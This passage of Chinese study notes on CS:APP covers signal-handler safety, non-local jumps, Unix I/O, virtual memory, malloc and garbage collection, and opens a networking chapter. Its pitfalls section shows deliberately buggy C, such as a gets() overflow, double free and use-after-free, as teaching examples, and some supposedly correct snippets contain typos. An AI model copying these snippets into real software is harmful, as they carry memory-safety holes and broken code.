... // 这部分代码不会被 SIGINT 中断
...
// 取消阻塞信号，恢复原来的状态
Sigprocmask(SIG_SETMASK, &prev_mask, NULL);


安全处理信号

信号处理器的设计并不简单，因为它们和主程序并行且共享相同的全局数据结构，尤其要注意因为并行访问可能导致的数据损坏的问题，这里提供一些基本的指南（后面的课程会详细介绍）


	规则 1：信号处理器越简单越好
	例如：设置一个全局的标记，并返回





	规则 2：信号处理器中只调用异步且信号安全(async-signal-safe)的函数
	诸如 printf, sprintf, malloc 和 exit 都是不安全的！





	规则 3：在进入和退出的时候保存和恢复 errno
	这样信号处理器就不会覆盖原有的 errno 值





	规则 4：临时阻塞所有的信号以保证对于共享数据结构的访问
	防止可能出现的数据损坏 





	规则 5：用 volatile 关键字声明全局变量
	这样编译器就不会把它们保存在寄存器中，保证一致性





	规则 6：用 volatile sig_atomic_t 来声明全局标识符(flag)
	这样可以防止出现访问异常







这里提到的异步信号安全(async-signal-safety)指的是如下两类函数：


	所有的变量都保存在栈帧中的函数

	不会被信号中断的函数



Posix 标准指定了 117 个异步信号安全(async-signal-safe)的函数（可以通过 man 7 signal 查看）
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非本地跳转 Non local Jump

所谓的本地跳转，指的是在一个程序中通过 goto 语句进行流程跳转，尽管不推荐使用goto语句，但在嵌入式系统中为了提高程序的效率，goto语句还是可以使用的。本地跳转的限制在于，我们不能从一个函数跳转到另一个函数中。如果想突破函数的限制，就要使用 setjmp 或 longjmp 来进行非本地跳转了。

setjmp 保存当前程序的堆栈上下文环境(stack context)，注意，这个保存的堆栈上下文环境仅在调用 setjmp 的函数内有效，如果调用 setjmp 的函数返回了，这个保存的堆栈上下文环境就失效了。调用 setjmp 的直接返回值为 0。

longjmp 将会恢复由 setjmp 保存的程序堆栈上下文，即程序从调用 setjmp 处重新开始执行，不过此时的 setjmp 的返回值将是由 longjmp 指定的值。注意longjmp 不能指定0为返回值，即使指定了 0，longjmp 也会使 setjmp 返回 1。

我们可以利用这种方式，来跳转到其他的栈帧中，比方说在嵌套函数中，我们可以利用这个快速返回栈底的函数，我们来看如下代码

jmp_buf env;

P1()
{
    if (setjmp(env))
    {
        // 跳转到这里
    } else 
    {
        P2();
    }
    
}

P2()
{
    ...
    P2();
    ...
    P3();
}

P3()
{
    longjmp(env, 1);
}


对应的跳转过程为：

[image: ]

也就是说，我们直接从 P3 跳转回了 P1，但是也有限制，函数必须在栈中（也就是还没完成）才可以进行跳转，下面的例子中，因为 P2 已经返回，所以不能跳转了

jmp_buf env;

P1()
{
    P2(); P3();
}

P2()
{
    if (setjmp(env))
    {
        // 跳转到这里
    }
}

P3()
{
    longjmp(env, 1);
}


因为 P2 在跳转的时候已经返回，对应的栈帧在内存中已经被清理，所以 P3 中的 longjmp 并不能实现期望的操作。

总结

这一讲中，我们细致了解了而异常控制流的四个基本机制：异常、进程切换、信号和非本地跳转。其中异常是最底层的，也是后面几种的基础；而信号是进程间最重要，简单却强大的信使。结合信号和进程，因为系统进程并行的缘故，具体编写程序的时候有许多需要注意的地方。

这部分的内容比较繁杂，涉及到的相关概念也比较多，最好结合《深入理解计算机系统》的原文来进行学习。
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读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算
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学习目标


	理解 Unix I/O 的设计与应用

	了解不同的文件类型

	理解文件描述符(file descriptor)及在读写中的应用

	了解元数据的相关概念及访问方法

	理解输入输出重定向的实现机制

	简单了解 C 标准库中的标准 I/O 函数

	知道如何根据不同场景选择对应的 I/O 方式



Unix I/O

在 Linux 中，文件实际上可以看做是字节的序列。更有意思的是，所有的 I/O 设备也是用文件来表示的，比如：


	./dev/sda2 (/usr 磁盘分区)

	/dev/tty2 (终端)



甚至连内核也是用文件来表示的：


	/boot/vmlinuz-3.13.0-55-generic (内核镜像)

	/proc (内核数据结构)



因为 I/O 设备也是文件，所以内核可以利用称为 Unix I/O 的简单接口来处理输入输出，比如使用 open() 和 close() 来打开和关闭文件，使用 read() 和 write() 来读写文件，或者利用 lseek() 来设定读取的偏移量等等。

为了区别不同文件的类型，会有一个 type 来进行区别：


	普通文件：包含任意数据

	目录：相关一组文件的索引

	套接字 Socket：和另一台机器上的进程通信的类型



其实还有一些比较特别的类型，但是这里提一下，不深入了解：


	Named pipes(FIFOs)

	Symbolic links

	Character and block devices



普通文件

普通的文件包含任意数据，应用一般来说需要区分出文本文件和二进制文件。文本文件只包含 ASCII 或 Unicode 字符。除此之外的都是二进制文件(对象文件, JPEG 图片, 等等)。对于内核来说其实并不能区分出个中的区别。

文本文件就是一系列的文本行，每行以 \n 结尾，新的一行是 0xa，和 ASCII 码中的 line feed 字符(LF) 一样。不同系统用用判断一行结束的符号不同(End of line, EOL)，如：


	Linux & Mac OS: \n(0xa)
	line feed(LF) 





	Windows & 网络协议: \r\n (0xd 0xa)
	Carriage return(CR) followed by line feed(LF)







目录

目录包含一个链接(link)数组，并且每个目录至少包含两条记录：


	.(dot) 当前目录

	..(dot dot) 上一层目录



用来操作目录的命令主要有 mkdir, ls, rmdir。目录是以树状结构组织的，根目录是 /(slash)。

内核会为每个进程保存当前工作目录(cwd, current working directory)，可以用 cd 命令来进行更改。我们通过路径名来确定文件的位置，一般分为绝对路径和相对路径。

接下来我们了解一下基本的文件操作。

打开文件

在使用文件之前需要通知内核打开该文件：

int fd; // 文件描述符 file descriptor

if ((fd = open("/etc/hosts", O_RDONLY)) < 0)
{
    perror("open");
    exit(1);
}


返回值是一个小的整型称为文件描述符(file descriptor)，如果这个值等于 -1 则说明发生了错误。每个由 Linux shell(注：感谢网友 yybear 的勘误) 创建的进程都会默认打开三个文件（注意这里的文件概念）：


	0: standard input(stdin)

	1: standard output(stdout)

	2: standar error(stderr)



关闭文件

使用完毕之后同样需要通知内核关闭文件：

int fd;     // 文件描述符
int retval; // 返回值

int ((retval = close(fd)) < 0)
{
    perror("close");
    exit(1);
}


如果在此关闭已经关闭了的文件，会出大问题。所以一定要检查返回值，哪怕是 close() 函数（如上面的例子所示）

读取文件

在打开和关闭之间就是读取文件，实际上就是把文件中对应的字节复制到内存中，并更新文件指针：

char buf[512];
int fd;
int nbytes;

// 打开文件描述符，并从中读取 512 字节的数据
if ((nbytes = read(fd, buf, sizeof(buf))) < 0)
{
    perror("read");
    exit(1);
}


返回值是读取的字节数量，是一个 ssize_t 类型（其实就是一个有符号整型），如果 nbytes < 0 那么表示出错。nbytes < sizeof(buf) 这种情况(short counts) 是可能发生的，而且并不是错误。

写入文件

写入文件是把内存中的数据复制到文件中，并更新文件指针：

char buf[512];
int fd;
int nbytes;

// 打开文件描述符，并向其写入 512 字节的数据
if ((nbytes = write(fd, buf, sizeof(buf)) < 0)
{
    perror("write");
    exit(1);
}


返回值是写入的字节数量，如果 nbytes < 0 那么表示出错。nbytes < sizeof(buf) 这种情况(short counts) 是可能发生的，而且并不是错误。

综合上面的操作，我们可以来看看 Unix I/O 的例子，这里我们一个字节一个字节把标准输入复制到标准输出中：

#include "csapp.h"

int main(void)
{
    char c;
    while(Read(STDIN_FILENO, &c, 1) != 0)
        Write(STDOUT_FILENO, &c, 1);
    exit(0);
}


前面提到的 short count 会在下面的情形下发生：


	在读取的时候遇到 EOF(end-of-file)

	从终端中读取文本行

	读取和写入网络 sockets



但是在下面的情况下不会发生


	从磁盘文件中读取（除 EOF 外）

	写入到磁盘文件中



最好总是允许 short count，这样就可以避免处理这么多不同的情况。

元数据

元数据是用来描述数据的数据，由内核维护，可以通过 stat 和 fstat 函数来访问，其结构是：

struct stat
{
    dev_t           st_dev;     // Device
    ino_t           st_ino;     // inode
    mode_t          st_mode;    // Protection & file type
    nlink_t         st_nlink;   // Number of hard links
    uid_t           st_uid;     // User ID of owner
    gid_t           st_gid;     // Group ID of owner
    dev_t           st_rdev;    // Device type (if inode device)
    off_t           st_size;    // Total size, in bytes
    unsigned long   st_blksize; // Blocksize for filesystem I/O
    unsigned long   st_blocks;  // Number of blocks allocated
    time_t          st_atime;   // Time of last access
    time_t          st_mtime;   // Time of last modification
    time_t          st_ctime;   // Time of last change
}


对应的访问例子：

int main (int argc, char **argv)
{
    struct stat stat;
    char *type, *readok;
    
    Stat(argv[1], &stat);
    if (S_ISREG(stat.st_mode)) // 确定文件类型
        type = "regular";
    else if (S_ISDIR(stat.st_mode))
        type = "directory";
    else
        type = "other";
    
    if ((stat.st_mode & S_IRUSR)) // 检查读权限
        readok = "yes";
    else
        readok = "no";
    
    printf("type: %s, read: %s\n", type, readok);
    exit(0);
}


重定向

了解了具体的结构之后，我们来看看内核是如何表示已打开的文件的。其实过程很简单，每个进程都有自己的描述符表(Descriptor table)，然后 Descriptor 1 指向终端，Descriptor 4 指向磁盘文件，如下图所示：
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这里有一个需要说明的情况，就是使用 fork。子进程实际上是会继承父进程打开的文件的。在 fork 之后，子进程实际上和父进程的指向是一样的，这里需要注意的是会把引用计数加 1，如下图所示

[image: ]

了解了这个，我们我们就可以知道所谓的重定向是怎么实现的了。其实很简单，只要调用 dup2(oldfd, newfd) 函数即可。我们只要改变文件描述符指向的文件，也就完成了重定向的过程，下图中我们把原来指向终端的文件描述符指向了磁盘文件，也就把终端上的输出保存在了文件中：
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标准输入输出

C 标准库中包含一系列高层的标准 IO 函数，比如


	打开和关闭文件: fopen, fclose

	读取和写入字节: fread, fwrite

	读取和写入行: fgets, fputs

	格式化读取和写入: fscanf, fprintf



标准 IO 会用流的形式打开文件，所谓流(stream)实际上是文件描述符和缓冲区(buffer)在内存中的抽象。C 程序一般以三个流开始，如下所示：

#include <stdio.h>
extern FILE *stdin;     // 标准输入 descriptor 0
extern FILE *stdout;    // 标准输出 descriptor 1
extern FILE *stderr;    // 标准错误 descriptor 2

int main()
{
    fprintf(stdout, "Hello, Da Wang\n");
}


接下来我们详细了解一下为什么需要使用缓冲区，程序经常会一次读入或者写入一个字符，比如 getc, putc, ungetc，同时也会一次读入或者写入一行，比如 gets, fgets。如果用 Unix I/O 的方式来进行调用，是非常昂贵的，比如说 read 和 write 因为需要内核调用，需要大于 10000 个时钟周期。

解决的办法就是利用 read 函数一次读取一块数据，然后再由高层的接口，一次从缓冲区读取一个字符（当缓冲区用完的时候需要重新填充）

总结

前面介绍了两种 I/O 方法，Unix I/O 是最底层的，通过系统调用来进行文件操作，在这之上是 C 的标准 I/O 库，对应的函数为：


	Unix I/O: open, read, write, lseek, stat, close

	Standard C I/O: fopen, fdopen, fread, fwrite, fscanf, fprintf, sscanf, sprintf, fgets, fputs, fflush, fseek, fclose



Unix I/O 是最通用最底层的 I/O 方法，其他的 I/O 包都是在 Unix I/O 的基础上进行构建的，值得注意的一点是，Unix I/O 中的方法都是异步信号安全(async-signal-safe)的，也就是说，可以在信号处理器中调用。因为比较底层和基础的缘故，需要处理的情况非常多，很容易出错。高效率的读写需要用到缓冲区，同样容易出错，这也就是标准 C 库着重要解决的问题。

标准 C I/O 提供了带缓存访问文件的方法，使用的时候几乎不用考虑太多，但是如果我们想要得到文件的元信息时，就还是得使用 Unix I/O 中的 stat 函数。另外标准 C I/O 中的函数都不是异步信号安全(async-signal-safe)的，所以并不能在信号处理器中使用。最后，标准 C I/O 不适合用于处理网络套接字。
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读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算
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	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器
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学习目标


	了解物理地址和虚拟地址的区别

	理解虚拟内存在缓存、内存管理与保护中所扮演的角色

	掌握虚拟内存到物理内存的翻译机制

	理解现代计算机系统中虚拟内存的应用

	理解动态内存分配的基本概念

	区别内部碎片与外部碎片

	掌握管理动态内存分配的三种方法

	了解垃圾回收的基本原理

	了解内存使用中常见的错误



这一讲的内容，跟之前介绍的缓存系统有异曲同工之妙，唯一的差别是，因为涉及的概念和横跨的系统层级增多，难度更大了。如果遇到不明白的地方，一定要结合原书进行细致阅读理解。

从物理内存到虚拟内存

物理地址一般应用在简单的嵌入式微控制器中（汽车、电梯、电子相框等），因为应用的范围有严格的限制，不需要在内存管理中引入过多的复杂度。

但是对于计算机（以及其他智能设备）来说，虚拟地址则是必不可少的，通过 MMU(Memory management unit)把虚拟地址(Virtual Address, VA)转换为物理地址(Physical Address, PA)，再由此进行实际的数据传输。大致的过程如下图所示
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使用虚拟内存主要是基于下面三个考虑：


	可以更有效率的使用内存：使用 DRAM 当做部分的虚拟地址空间的缓存

	简化内存管理：每个进程都有统一的线性地址空间

	隔离地址控件：进程之间不会相互影响；用户程序不能访问内核信息和代码



虚拟内存的三个角色

作为缓存工具

概念上来说，虚拟内存就是存储在磁盘上的 N 个连续字节的数组。这个数组的部分内容，会缓存在 DRAM 中，在 DRAM 中的每个缓存块(cache block)就称为页(page)，如下图所示：

[image: ]

大致的思路和之前的 cache memory 是类似的，就是利用 DRAM 比较快的特性，把最常用的数据换缓存起来。如果要访问磁盘的话，大约会比访问 DRAM 慢一万倍，所以我们的目标就是尽可能从 DRAM 中拿数据。为此，我们需要：


	更大的页尺寸(page size)：通常是 4KB，有的时候可以达到 4MB

	全相联(Fully associative)：每一个虚拟页(virual page)可以放在任意的物理页(physical page)中，没有限制。

	映射函数非常复杂，所以没有办法用硬件实现，通常使用 Write-back 而非 Write-through 机制
	Write-through: 命中后更新缓存，同时写入到内存中

	Write-back: 直到这个缓存需要被置换出去，才写入到内存中（需要额外的 dirty bit 来表示缓存中的数据是否和内存中相同，因为可能在其他的时候内存中对应地址的数据已经更新，那么重复写入就会导致原有数据丢失）







具体怎么做呢？通过页表(page table)。每个页表实际上是一个数组，数组中的每个元素称为页表项(PTE, page table entry)，每个页表项负责把虚拟页映射到物理页上。在 DRAM 中，每个进程都有自己的页表，具体如下
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因为有一个表可以查询，就会遇到两种情况，一种是命中(Page Hit)，另一种则是未命中(Page Fault)。

命中的时候，即访问到页表中蓝色条目的地址时，因为在 DRAM 中有对应的数据，可以直接访问。

不命中的时候，即访问到 page table 中灰色条目的时候，因为在 DRAM 中并没有对应的数据，所以需要执行一系列操作（从磁盘复制到 DRAM 中），具体为：


	触发 Page fault，也就是一个异常

	Page fault handler 会选择 DRAM 中需要被置换的 page，并把数据从磁盘复制到 DRAM 中

	重新执行访问指令，这时候就会是 page hit



复制过程中的等待时间称为 demand paging。

仔细留意上面的页表，会发现有一个条目是 null，也就是没有分配。具体的分配过程（比方说声明了一个大数组），就是让该条目指向虚拟内存（在磁盘上）的某个页，但并不复制到 DRAM，只有当出现 page fault 的时候才需要拷贝数据。

看起来『多此一举』，但是由于局部性原理，虚拟内存其实是非常高效的机制，这一部分最后提到了工作集(working set)[1]的概念，比较简单，这里不再赘述。

作为内存管理工具

前面提到，每个进程都有自己的虚拟地址空间，这样一来，对于进程来说，它们看到的就是简单的线性空间（但实际上在物理内存中可能是间隔、支离破碎的），具体的映射过程可以用下图表示：
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在内存分配中没有太多限制，每个虚拟页都可以被映射到任何的物理页上。这样也带来一个好处，如果两个进程间有共享的数据，那么直接指向同一个物理页即可（也就是上图 PP 6 的状况，只读数据）

虚拟内存带来的另一个好处就是可以简化链接和载入的结构（因为有了统一的抽象，不需要纠结细节）

作为内存保护工具

页表中的每个条目的高位部分是表示权限的位，MMU 可以通过检查这些位来进行权限控制（读、写、执行），如下图所示：
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地址翻译

开始之前先来了解以下参数：

$$N=2^n,\;M=2^m,\;P=2^p$$

其中 N 表示虚拟地址空间中的地址数量，M 表示物理地址空间中的地址数量，P 是每一页包含的字节数(page size)。

虚拟地址(VA, Virtual Address)中的元素：


	TLBI: TLB 的索引值

	TLBT: TLB 的标签(tag)

	VPO: 虚拟页偏移量

	VPN: 虚拟页编号



物理地址(PA, physical address)中的元素：


	PPO: 物理页偏移量（与 VPO 的值相同）

	PPN: 物理页编号



然后我们通过一个具体的例子来说明如何进行地址翻译
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具体的访问过程为：


	通过虚拟地址找到页表(page table)中对应的条目

	检查有效位(valid bit)，是否需要触发页错误(page fault)

	然后根据页表中的物理页编号(physical page number)找到内存中的对应地址

	最后把虚拟页偏移(virtual page offset)和前面的实际地址拼起来，就是最终的物理地址了



这里又分两种情况：Page Hit 和 Page Fault，我们先来看看 Page Hit 的情况
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主要有 5 步，CPU 首先把虚拟地址发送给 MMU，MMU 检查缓存，并把从页表中得到对应的物理地址，接着 MMU 把物理地址发送给缓存/内存，最后从缓存/内存中得到数据。

而 Page Fault 的时候就复杂一些，第一次触发页错误会把页面载入内存/缓存，然后再以 Page Hit 的机制得到数据：
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这里有 7 步，前面和 Page Hit 是一致的，先把虚拟地址发给 MMU 进行检查，然后发现没有对应的页，于是触发异常，异常处理器会负责从磁盘中找到对应页面并与缓存/内存中的页进行置换，置换完成后再访问同一地址，就可以按照 Page Hit 的方式来访问了。

虽然缓存已经很快了，但是能不能更快呢，为什么不能直接在 MMU 进行一部分的工作呢？于是就有了另外一个设计：Translation Lookaside Buffer(TLB)。TLB 实际上可以认为是页表在处理芯片上的缓存，整体的机制和前面提到的缓存很像，我们通过下面的图进行讲解：
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这里 VPN + VPO 就是虚拟地址，同样分成三部分，分别用于匹配标签、确定集合，如果 TLB 中有对应的记录，那么直接返回对应页表项(PTE)即可，如果没有的话，就要从缓存/内存中获取，并更新 TLB 的对应集合。

多层页表 Multi-Level Page Table

虽然页表是一个表，但因为往往虚拟地址的位数比物理内存的位数要大得多，所以保存页表项(PTE) 所需要的空间也是一个问题。举个例子：

假设每个页的大小是 4KB（2 的 12 次方），每个地址有 48 位，一条 PTE 记录有 8 个字节，那么要全部保存下来，需要的大小是：

$$2^{48} \times 2^{-12} \times 2^3 = 2^{39} bytes$$

整整 512 GB！所以我们采用多层页表，第一层的页表中的条目指向第二层的页表，一个一个索引下去，最终寻找具体的物理地址，整个翻译过程如下：
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地址翻译实例

来看一个简单的例子，我们的内存系统设定如下：


	14 位的虚拟地址

	12 位的物理地址

	页大小为 64 字节



TLB 的配置为：


	能够存储 16 条记录

	每个集合有 4 条记录



系统本身缓存（对应于物理地址）：


	16 行，每个块 4 个字节

	直接映射（即 16 个集合）
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TLB 中的数据为
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页表中的数据为（一共有 256 条记录，这里列出前 16 个）
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缓存中的数据为

[image: ]

一定要注意好不同部分的所代表的位置，这里我也会尽量写得清楚一些，来看第一个例子：


虚拟地址为 0x03D4



具体的转换过程如下图所示：
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具体来梳理一次：

先看 TLB 中有没有对应的条目，所以先看虚拟地址的第 6-13 位，在前面的 TLB 表中，根据 TLBI 为 3 这个信息，去看这个 set 中有没有 tag 为 3 的项目，发现有，并且对应的 PPN 是 0x0D，所以对应到物理地址，就是 PPN 加上虚拟地址的 0-5 位，而具体的物理地址又可以在缓存中找到（利用 cache memory 的机制），就可以获取到对应的数据了。

下面的例子同样可以按照这个方法来进行分析


虚拟地址为 0x0020



（物理地址已更正，感谢网友小新指出）
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动态内存分配

前面了解了虚拟内存的相关知识，这一节我们来看看动态内存分配的基本概念，相信这之后就知道诸如 malloc 和 new 这类方法是怎么做的了。

程序员通过动态内存分配（例如 malloc）来让程序在运行时得到虚拟内存。动态内存分配器会管理一个虚拟内存区域，称为堆(heap)。

分配器以块为单位来维护堆，可以进行分配或释放。有两种类型的分配器：


	显式分配器：应用分配并且回收空间（C 语言中的 malloc 和 free）

	隐式分配器：应用只负责分配，但是不负责回收（Java 中的垃圾收集）



先来看看一个简单的使用 malloc 和 free 的例子

#include <stdio.h>
#include <stdlib.h>

void foo(int n) {
    int i, *p;
    
    /* Allocate a block of n ints */
    p = (int *) malloc(n * sizeof(int));
    if (p == NULL) {
        perror("malloc");
        exit(0);
    }
    
    /* Initialize allocated block */
    for (i=0; i<n; i++)
        p[i] = i;

    /* Return allocated block to the heap */
    free(p);
}


为了讲述方便，我们做如下假设：


	内存地址按照字来编码

	每个字的大小和整型一致



例如：
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程序可以用任意的顺序发送 malloc 和 free 请求，free 请求必须作用与已被分配的 block。

分配器有如下的限制：


	不能控制已分配块的数量和大小

	必须立即响应 malloc 请求（不能缓存或者给请求重新排序）

	必须在未分配的内存中分配

	不同的块需要对齐（32 位中 8 byte，64 位中 16 byte）

	只能操作和修改未分配的内存

	不能移动已分配的块



性能指标

现在我们可以来看看如何去评测具体的分配算法了。假设给定一个 malloc 和 free 的请求的序列：



















 $$R_0, R_1, ..., R_k, ..., R_{n-1}$$ 
目标是尽可能提高吞吐量以及内存利用率（注意，这两个目标常常是冲突的）

吞吐量是在单位时间内完成的请求数量。假设在 10 秒中之内进行了 5000 次 malloc 和 5000 次 free 调用，那么吞吐量是 1000 operations/second

另外一个目标是 Peak Memory Utilization，就是最大的内存利用率。

影响内存利用率的主要因素就是『内存碎片』，分为内部碎片和外部碎片两种。

内部碎片

内部碎片指的是对于给定的块，如果需要存储的数据(payload)小于块大小，就会因为对齐和维护堆所需的数据结构的缘故而出现无法利用的空间，例如：
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内部碎片只依赖于上一个请求的具体模式，所以比较容易测量。

外部碎片

指的是内存中没有足够的连续空间，如下图所示，内存中有足够的空间，但是空间不连续，所以成为了碎片：
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实现细节

我们已经知道了原理，现在就来看看怎么样能够实现一个高效的内存分配算法吧！在具体实现之前，需要考虑以下问题：


	给定一个指针，我们如何知道需要释放多少内存？

	如何记录未分配的块？

	实际需要的空间比未分配的空间要小的时候，剩下的空间怎么办？

	如果有多个区域满足条件，如何选择？

	释放空间之后如何进行记录？



具体这部分书中提到了四种方法：


	隐式空闲列表 Implicit List

	显式空闲列表 Explicit List

	分离的空闲列表 Segregated Free List

	按照大小对块进行排序 Blocks Sorted by Size



因为涉及的细节比较多，建议是详读书本的对应章节（第二版和第三版均为第九章第九节），这里不再赘述（如果需要的话之后我在另起一篇做详细介绍）

这里提一点，就是如何确定哪部分空间合适，有三种方法：


	First Fit: 每次都从头进行搜索，找到第一个合适的块，线性查找

	Next Fit: 每次从上次搜索结束的位置继续搜索，速度较快，但可能会有更多碎片

	Best Fit: 每次遍历列表，找到最合适的块，碎片较少，但是速度最慢



更详细可以参考这两篇文章：Dynamic Memory Allocation - Basic Concept 和 Dynamic Memory Allocation - Advanced Concept

垃圾回收

所谓垃圾回收，就是我们不再需要显式释放所申请内存空间了，例如：

void foo() {
    int *p = malloc(128);
    return; /* p block is now garbage*/
}


这种机制在许多动态语言中都有实现：Python, Ruby, Java, Perl, ML, Lisp, Mathematica。C 和 C++ 中也有类似的变种，但是需要注意的是，是不可能回收所有的垃圾的。

我们如何知道什么东西才是『垃圾』呢？简单！只要没有任何指针指向的地方，不管有没有用，因为都不可能被使用，当然可以直接清理掉啦。不过这其实是需要一些前提条件的：


	我们可以知道哪里是指针，哪里不是指针

	每个指针都指向 block 的开头

	指针不能被隐藏(by coercing them to an int, and then back again)



相关的算法如下：


	Mark-and-sweep collection (McCarthy, 1960)

	Reference counting (Collins, 1960)

	Copying collection (Minsky, 1963)

	Generational Collectors(Lieberman and Hewitt, 1983)



大部分比较常用的算法居然都有五十多年历史了，神奇。更多相关细节在维基百科[2]中都有详细介绍（中文版本质量较差，这里给出英文版）。

内存陷阱

关于内存的使用需要注意避免以下问题：


	解引用错误指针

	读取未初始化的内存

	覆盖内存

	引用不存在的变量

	多次释放同一个块

	引用已释放的块

	释放块失败



Dereferencing Bad Pointers

这是非常常见的例子，没有引用对应的地址，少了 &

int val;
...
scanf("%d", val);


Reading Uninitialized Memory

不能假设堆中的数据会自动初始化为 0，下面的代码就会出现奇怪的问题

/* return y = Ax */
int *matvec(int **A, int *x) {
    int *y = malloc(N * sizeof(int));
    int i, j;
    
    for (i = 0; i < N; i++)
        for (j = 0; j < N; j++)
            y[i] += A[i][j] * x[j];
    return y;
}


Overwriting Memory

这里有挺多问题，第一种是分配了错误的大小，下面的例子中，一开始不能用 sizeof(int)，因为指针的长度不一定和 int 一样。

int **p;
p = malloc(N * sizeof(int));

for (i = 0; i < N; i++) 
    p[i] = malloc(M * sizeof(int));


第二个问题是超出了分配的空间，下面代码的 for 循环中，因为使用了 <=，会写入到其他位置

int **p;

p = malloc(N * sizeof (int *));

for (i = 0; i <= N; i++)
    p[i] = malloc(M * sizeof(int));


第三种是因为没有检查字符串的长度，超出部分就写到其他地方去了（经典的缓冲区溢出攻击也是利用相同的机制）

char s[8];
int i;

gets(s); /* reads "123456789" from stdin */


第四种是没有正确理解指针的大小以及对应的操作，应该使用 sizeof(int *)

int *search(int *p, int val) {
    while (*p && *p != null)
        p += sizeof(int);
    
    return p;
}


第五种是引用了指针，而不是其指向的对象，下面的例子中，*size-- 一句因为 -- 的优先级比较高，所以实际上是对指针进行了操作，正确的应该是 (*size)--

int *BinheapDelete(int **binheap, int *size) {
    int *packet;
    packet = binheap[0];
    binheap[0] = binheap[*size - 1];
    *size--;
    Heapify(binheap, *size, 0);
    return (packet);
}


Referencing Nonexistent Variables

下面的情况中，没有注意到局部变量会在函数返回的时候失效（所以对应的指针也会无效），这是传引用和返回引用需要注意的，传值的话则不用担心

int *foo() {
    int val;
    
    return &val;
}


Freeing Blocks Multiple Times

这个不用多说，不能重复搞两次

x = malloc(N * sizeof(int));
//  <manipulate x>
free(x);

y = malloc(M * sizeof(int));
//  <manipulate y>
free(x);


Referencing Freed Blocks

同样是很明显的错误，不要犯

x = malloc(N * sizeof(int));
//  <manipulate x>
free(x);
//  ....

y = malloc(M * sizeof(int));
for (i = 0; i < M; i++)
    y[i] = x[i]++;


Memory Leaks

用完没有释放，就是内存泄露啦

foo() {
    int *x = malloc(N * sizeof(int));
    // ...
    return ;
}


或者只释放了数据结构的一部分：

struct list {
    int val;
    struct list *next;
};

foo() {
    struct list *head = malloc(sizeof(struct list));
    head->val = 0;
    head->next = NULL;
    //...
    free(head);
    return;
}


总结

这一讲的内容比较多，再加上各种不同的映射，可能是最需要花时间去理解的一讲了。我们先了解了物理地址和虚拟地址的区别，然后在此基础上理解虚拟内存在缓存、内存管理与保护中所扮演的角色，并通过实际的例子学习虚拟内存到物理内存的翻译机制。

有了前面的基础，简要介绍了动态内存分配的基本概念和管理动态内存分配的三种算法。最后提及了垃圾回收的基本原理和内存使用中常见的错误。

尤其是动态内存分配和垃圾回收的部分，因为篇幅限制说得比较简单，一定要对照书本进行阅读和理解。

参考链接


	Working set

	Garbage collection)
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        在这个网络成为『必需品』的时代，让我们从最原始的 Socket(套接字)开始，来看看程序是如何通过网络进行『沟通』的。更有意思的是，这一讲我们会介绍如何通过 C 语言从零开始实现自己的服务器程序。




系列文章

读薄部分


	零 系列概览

	壹 数据表示 - 不同的数据是如何存储与表示的

	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出

	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



学习目标


	了解网络的基本架构

	了解常见的网络协议

	掌握基本的网络相关编程技巧

	学会编写 web 服务器



网络架构

计算机网络的知识可谓是非常『保值』的，因为这么多基础设备还在运行着，基本机制在短时间内很难改变，关于网络的相关的讲解还有参考链接[1][2]，我觉得也非常不错，大家感兴趣可以看看。

客户端-服务器模型是网络应用最广泛使用的模型，客户端进程发送请求给服务器进程，服务器进程获取所需资源并响应客户端进程的请求，客户端进程收到响应后展示给用户。网络相关的处理，都是通过网络适配器来完成的，具体在硬件上为（右下角）：
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根据网络的应用范围和架构层级，可以分成三个部分：


	SAN - System Area Network
	Switched Ethernet, Quadrics QSW, …





	LAN - Local Area Network
	Ethernet, ..





	WAN - Wide Area Network
	High speed point-to-point phone lines







最底层 - Ethernet Segment

由若干主机(hosts)通过交换机(hub)连接，通常范围是房间或一层楼，如下图所示：
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	每个 Ethernet 适配器有一个唯一的 48 位的地址（也就是 MAC 地址），例如 00:16:ea:e3:54:e6

	不同主机间发送的数据称为帧(frame)

	Hub 会把每个端口发来的所有数据复制到其他的端口
	所有的主机都可以看到所有的数据（注意安全问题）







下一层 - Bridged Ethernet Segment

通常范围是一层楼，通过不同的 bridge 来连接不同的 ethernet segment。Bridge 知道从某端口出发可达的主机，并有选择的在端口间复制数据。
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为了从概念上简化，我们可以认为，所有的 hub, bridge 可以抽象为一条线，如下图所示：

[image: ]

下一层 - internets

不同的（也许不兼容）的 LAN 可以通过 router 来进行物理上的连接，这样连接起来的网络称为 internet（注意是小写，大写的 Internet 可以认为是最著名的 internet）
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internet 的逻辑结构为：


	Ad hoc interconnection of networks
	没有特定的拓扑结构

	不同的 router 和 link 差异可能很大





	通过在不同的网络间跳转来传递 packet
	Router 是不同网络间的连接

	不同的 packet 可能会走不同的路线







网络协议

在不同的 LAN 和 WAN 中传输数据，就要守规矩，这个规矩就是协议。协议负责做的事情有：


	提供 naming scheme
	定义 host address 格式

	每个主机和路由器都至少有一个独立的 internet 地址





	提供 delivery mechanism
	定义了标准的传输单元 - packet

	Packet 包含 header 和 payload
	header 包括 packet size, source 和 destination address

	payload 包括需要传输的数据 











在这样的协议下，具体的数据传输如下图所示，这里 PH = Internet packet header, FH = LAN frame header（具体名词解释可见参考文末参考资料）：
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Internet 是 internet 最为著名的例子。主要基于 TCP/IP 协议族：


	IP (Internet Protocal)
